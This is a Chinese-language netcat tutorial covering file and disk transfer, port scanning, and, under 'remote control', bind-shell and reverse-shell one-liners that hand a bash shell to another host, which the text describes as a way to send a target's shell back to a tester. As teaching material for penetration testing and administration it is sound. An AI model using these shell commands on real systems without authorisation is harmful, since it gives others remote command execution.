Netcat
目录
简介
Netcat 简称 nc。
传输文本信息
Server 使用 -l 监听模式, -p 监听 444 端口
nc -l -p 444
Client 使用 -v 展示详细信息,-n 表示要连接的地址不进行 DNS 反向解析。
nc -nv Address port
任意一方发送字符,对方都能收到,任何一方断开连接整个会话结束。
电子取证
文件传输
将当前目录下的文件用 |
传给服务端 4343 端口。
服务端监听 4343 端口传过来的信息输出重定向到 ls.txt 文件。
远程克隆硬盘
Client 将 /dev/sda 输出到 1.1.1.1:333 端口。
dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
Server 连接到 333 端口,将数据写到 /dev/sda。
nc -lp 333 | dd of=/dev/sda
文件传输
传输文件
Server 监听 333 端口接收 333 端口传过来的文件,输出重定向为 23.txt
nc -lp 333 > 23.txt
Client 连接到 1.1.1.1 333 端口 并把 1.txt 文件传过去,成功延迟 1 秒关闭连接。
nc -nv 1.1.1.1 333 < 1.txt –q 1
下面是另一种用法。
Server 监听本机 333 端口,将333端口作为 a.mp4 文件的输入来源,也就是 a.mp4 将输入重定向到 333 端口。
nc -lp 333 < a.mp4
Client 连接到 1.1.1.1 333 端口后将 333 端口的内容输出重定向到当前文件夹下的 2.mp4 文件中,如果没有这个文件它会自动创建。
nc -nv 1.1.1.1 333 > 2.mp4
传输目录
Server 将目录压缩用管道传到端口 333,-q 是文件传输完成后(EOF)延迟 1 秒退出。
tar -cvf - DirectoryName | nc -lp 333 -q 1
Client 连接到指定 IP,客户端接收到数据后用管道传给 tar 进行解压。
nc -nv IPAddress | tar -xvf -
加密传输文件
Server 监听 333 端口数据用管道传给 mcrypt 解密,输出到 1.mp4 中。
nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
Client 先将 a.mp4 文件作为输入,输入到 mcrypt 进行加密,利用管道传给 nc,nc 将数据传输到 1.1.1.1:333 主机。
mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc nv 1.1.1.1 333 -q 1
端口扫描
-z 是 Zero-I/O 模式,仅与目标主机端口做 TCP 全连接即 SYN、SYN ACK、ACK。
[root@VM-24-2-centos ~]# nc -nvz 1.1.1.1 80
(UNKNOWN) [203.107.45.167] 80 (http) open
扫描多个端口用短横线隔开,扫描顺序时从高到低。
nc -nvz 1-65535
有时也不一定准,在测试过程中发现 443 会返回连接被重置,但实际时开的。
加个 -u 扫的是 UDP 端口
nc –vnzu 1.1.1.1 1-1024
nc 扫 UDP 逻辑是发送空数据 UDP 包,服务器返回 ICMP 包不可达就证明端口没开,要是没有 ICMP 就认为端口开放,到底返不返回消息完全取决于服务器应用和防火墙,因此误报很高。
远程控制
Server 监听 333 端口,用 -c 把 shell 传过去,-c
是使用 shell。
nc -lp 333 -c bash
Client nc 连接到 Server 333 端口,由于服务端把 shell 传过来了,客户端就拥有执行命令的权限,权限多大的具体看用户。
nc 172.28.112.34 333
另外还有种用法是客户端监听 333 端口(测试者开放端口等待服务端连接)。
nc -lp 333
服务端连连接 333 端口把自己的 shell 传给客户端。得到目标系统 shell 后可以利用这种方法把目标系统 shell 传给测试者(让服务器主动连接测试者)。
B(server):nc 172.28.112.34 333 -c bash
注:如果是 Windows 请把 shell 换成 cmd。
NC 与 NCAT
在前面进行加密传输时是使用的 Linux 系统命令而不是 NC 自带的,NC 它不具备加密功能与身份验证功能。
NC 开放一个端口其他人都可以进行连接,有可能你的辛苦的结果就飞了,而 NCAT(Ncat 包含于 nmap 工具包中)弥补了这方面的功能,使用方法如下。
ncat -c bash --allow 172.28.112.34 -vnl 333 --ssl
监听 333 端口 --ssl 使用 SSL 保证连接过程加密,--allow 只允许 172.28.112.34 连接。-n 不使用 dns 解析,-l 监听端口,-v 显示详细信息。
Client 不使用 DNS 解析,连接到 172.28.112.36 333 端口过程中使用 ssl 加密。
ncat -nv 172.28.112.36 333 --ssl
连接成功临时生成哈希指纹用于验证,不管连接正确或错误都会显示 IP 与端口,错误时会服务端拒绝,如下图所示,此时的监听的 IP 是 172.28.112.35 而连过来的客户端主机是 34。
同样客户端也会收到拒绝提示。
最近更新:
发布时间: